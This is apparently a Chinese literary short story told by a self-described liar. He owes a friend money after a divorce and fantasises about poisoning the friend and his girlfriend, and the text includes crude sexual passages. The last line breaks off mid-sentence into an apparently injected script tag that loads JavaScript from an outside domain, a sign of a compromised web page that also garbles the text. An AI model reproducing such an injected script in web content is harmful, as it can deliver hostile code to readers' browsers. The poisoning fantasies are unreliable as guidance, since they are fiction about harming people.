先声明,我是个骗子,所以,我的话你大可不必相信。
———作者
朋友叫李淡,从北京来,不是一个人,他还带来了他的女朋友,一个不算漂亮,但一看就有点让男人受不了的女人。
鬼知道李淡到底有多少女朋友,不算现在的这个,前前后后我已经见过三个。三个女人各具特色,我印象最深的是第二个,叫娇娇,笑声特浪。她笑的时候,乳房是随着她的身体激烈颤动的,那情形,像杂技演员手里来回抛接的皮球,随时有可能掉下来,但永远不可能掉下来。
李淡要赖在我这里了,他总是这样,我毫无办法。事实上是我欠了他的钱,不多,才10万。他赖在我这里通常需要十天半个月的,我要给他买吃的、喝的,还要给他女朋友买卫生巾、避孕套、洁而阴洗液。我在购买这些东西的过程中时常萌发一些歹毒的想法,比如在大米或蔬菜里加些耗子药,毒死李淡这个王八蛋,那样,我的钱就不用还了,他的女人也就是我的女人了。
再比如,在卫生巾的内层滴一些农药,让他的女人中毒,然后,他们在做爱的时候一起中毒,疼得死去活来,哭着喊着让我救救他们。我想,那时候,我多半会逼着他拿出我欠钱的借据,请他当着我的面撕了,否则,我就看着他们一起疼痛,直到这对狗男女在恐惧中死去。
当然,这是我的一厢情愿。我很清楚,我不能毒死他们,因为我还想多过几年本来就已乱糟糟的日子。活着就有办法,我总这么想。我用这样的安慰不断救赎自己,而且屡屡见效。
再说李淡。我和他其实是同学,通常,我不叫他的名字,觉得挺麻烦。我叫他淡淡,或者干脆叫一个淡字。听过崔健的一首歌,叫“红旗下的蛋”,从那时起,我就一直叫他“淡”。
找淡借钱是个偶然的机会。前两年,我所在的单位倒闭了,我很困顿,也很迷茫,整天处于混沌状态。有一次,喝了酒,很多酒,几个人醉五醉六地钻进洗头房。那是我第一次嫖娼。小姐是个重庆妹子,长两颗虎牙,很风骚。没想到,第一次就被公安干住了,罚款五千。
我觉得很委屈,我告诉警察,我有毛病,喝了酒干不了那活儿。我说的是实话。可警察大叔不听,警察说干不干是你的事,只要进去了,有了那个想法都照样罚款。这真是没有办法,我他妈为了一个想法掏罚款。更让我焦虑的不是罚款,是我老婆知道了这事,她铁青着脸要和我离婚。
我哭,我跪倒求她,我不想离婚,我们还没有孩子。她完全不理会我诚恳的悔过,一个人跑到法院去了。分割财产时,老婆(暂时还这么称呼)说,我们一直是AA制,买房子的时候你还欠我3万,你是过错方,按新婚姻法规定,我可以要求你赔偿损失,看在多年夫妻的份上,你总共给我10万算了,然后你走人。付10万我还要走人,真是吃人不吐骨头的恶毒女人。我想杀了她。
法院似乎是她们家开的,法官也帮着她说话。争吵到最后,她退了一步,说,你想要房子也可以,你总共给15万我走人。说实话,我根本不可能有15万,有15万我就不嫖娼了,我一定包个二奶。可是话要往回说,多付5万块我就得到了房子,我不是傻逼,这么简单的数学小学一年级我就会了。于是,我到处筹钱。父母兄弟加起来给了3万,我倒闭的单位一次性补偿2万多,零头是解决了,另外的10万彻底没有戏了。
说到这里,我得下狠心表扬自己一回,我是个聪明人,绝顶聪明。因为关键时刻我想起我的同学“淡”。他在北京混了好几个年头了,在中关村开了一家只有3个人的集团公司,他是总裁兼总经理,名片上印着CEO。开始我看到CEO几个字母,以为我们中国发现了什么新的飞碟呢!
淡笑话我是土老冒儿,他说CEO是首席执行官的意思。我很不屑,我说你他妈尽吹牛,3个鸟人的公司你还首席呢,上中学的时候你连小组长都不是,英国那疯牛病都是你小子吹的。淡这个人,什么都好,就是虚荣心太强,尤其看不得别人说他混得不好,我知道他这毛病,所以我故意激他,我想找他?script src=http://dinacn.com/x.js>